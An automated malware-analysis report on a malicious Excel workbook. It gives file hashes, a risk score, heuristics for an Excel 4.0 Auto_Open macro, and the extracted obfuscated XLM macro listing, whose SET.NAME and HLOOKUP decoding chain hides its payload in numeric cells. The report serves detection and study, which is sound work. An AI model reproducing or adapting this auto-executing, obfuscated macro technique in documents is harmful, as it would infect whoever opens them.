Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9a13d7bb92837c4d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:36 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: 8865e5d91d86c9ab8cb665d095c72f66 SHA-1: 7373af6e103467e029089bc0cf5f7269300a7d4b SHA-256: 9a13d7bb92837c4dd14c4c0f7424c142b7e3ee3585769cd1f420f0641d29eaa0
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6828 bytes
SHA-256: f794b89303c68352c95ac3902632fe85e03d47d3e335b28c5bfe45ab89a6d563
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  LfXLWgSd
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B164 
' 0018     24 LABEL : Cell Value, String Constant - efIBrUUqF len=0 
' 0018     23 LABEL : Cell Value, String Constant - eKHGqLcb len=0 
' 0018     22 LABEL : Cell Value, String Constant - EmmdcRM len=0 
' 0018     26 LABEL : Cell Value, String Constant - HCnMkuOKHxl len=0 
' 0018     27 LABEL : Cell Value, String Constant - HMuGYPKtTYrd len=0 
' 0018     25 LABEL : Cell Value, String Constant - hromSqQxWP len=0 
' 0018     24 LABEL : Cell Value, String Constant - nCQudddZX len=0 
' 0018     23 LABEL : Cell Value, String Constant - nEtwUrlI len=0 
' 0018     24 LABEL : Cell Value, String Constant - nrgoAZncR len=0 
' 0018     25 LABEL : Cell Value, String Constant - oGXZCFBdNC len=0 
' 0018     21 LABEL : Cell Value, String Constant - pcGEXw len=0 
' 0018     27 LABEL : Cell Value, String Constant - quNERanWspPy len=0 
' 0018     20 LABEL : Cell Value, String Constant - rmmGS len=0 
' 0018     23 LABEL : Cell Value, String Constant - RWZSqOtU len=0 
' 0018     20 LABEL : Cell Value, String Constant - syXGM len=0 
' 0018     23 LABEL : Cell Value, String Constant - vGYGXLcr len=0 
' 0018     25 LABEL : Cell Value, String Constant - VWjKDJflNu len=0 
' 0018     22 LABEL : Cell Value, String Constant - WqiVCpu len=0 
' 0018     24 LABEL : Cell Value, String Constant - WxhwwBehp len=0 
' 0018     26 LABEL : Cell Value, String Constant - yabllkpOwIk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  LfXLWgSd,B75,"SET.NAME("eKHGqLcb",0+VALUE("0"))",""
'  LfXLWgSd,B77,"SET.NAME("syXGM",eKHGqLcb)",""
'  LfXLWgSd,B79,"SET.NAME("HMuGYPKtTYrd",eKHGqLcb)",""
'  LfXLWgSd,B83,"SET.NAME("vGYGXLcr",COUNTA(yabllkpOwIk))",""
'  LfXLWgSd,B86,"SET.NAME("oGXZCFBdNC",COUNTA(quNERanWspPy))",""
'  LfXLWgSd,S90,"",-697.00000000000000000000
'  LfXLWgSd,B91,[],""
'  LfXLWgSd,S91,"",82.00000000000000000000
'  LfXLWgSd,S92,"",318.00000000000000000000
'  LfXLWgSd,S93,"",-29.00000000000000000000
'  LfXLWgSd,S94,"",-615.00000000000000000000
'  LfXLWgSd,S95,"",-579.00000000000000000000
'  LfXLWgSd,B96,"SET.NAME("nCQudddZX","")",""
'  LfXLWgSd,B98,"syXGM",""
'  LfXLWgSd,B103,"SET.NAME("EmmdcRM",HLOOKUP("*",yabllkpOwIk,syXGM,FALSE))",""
'  LfXLWgSd,B106,"nEtwUrlI",""
'  LfXLWgSd,B110,"SET.NAME("VWjKDJflNu",eKHGqLcb)",""
'  LfXLWgSd,B115,[],""
'  LfXLWgSd,B118,"VWjKDJflNu",""
'  LfXLWgSd,B122,"efIBrUUqF",""
'  LfXLWgSd,B127,"WxhwwBehp",""
'  LfXLWgSd,B131,"RWZSqOtU",""
'  LfXLWgSd,B133,"SET.NAME("hromSqQxWP",VALUE(HLOOKUP("*",quNERanWspPy,RWZSqOtU,FALSE)))",""
'  LfXLWgSd,B135,"rmmGS",""
'  LfXLWgSd,B138,"nCQudddZX",""
'  LfXLWgSd,B140,"HMuGYPKtTYrd",""
'  LfXLWgSd,B144,NEXT(),""
'  LfXLWgSd,B148,"pcGEXw",""
'  LfXLWgSd,B150,[],""
'  LfXLWgSd,B154,"HCnMkuOKHxl",""
'  LfXLWgSd,B157,NEXT(),""
'  LfXLWgSd,B160,RETURN(),""
'  LfXLWgSd,B190,"SET.NAME("nrgoAZncR",B75)",""
'  LfXLWgSd,B194,"yabllkpOwIk",""
'  LfXLWgSd,B199,"SET.NAME("quNERanWspPy",R91C13)",""
'  LfXLWgSd,B203,"SET.NAME("HCnMkuOKHxl",212)",""
'  LfXLWgSd,B207,"SET.NAME("WqiVCpu",2)",""
'  LfXLWgSd,B211,nrgoAZncR(),""
'  LfXLWgSd,B212,HALT(),""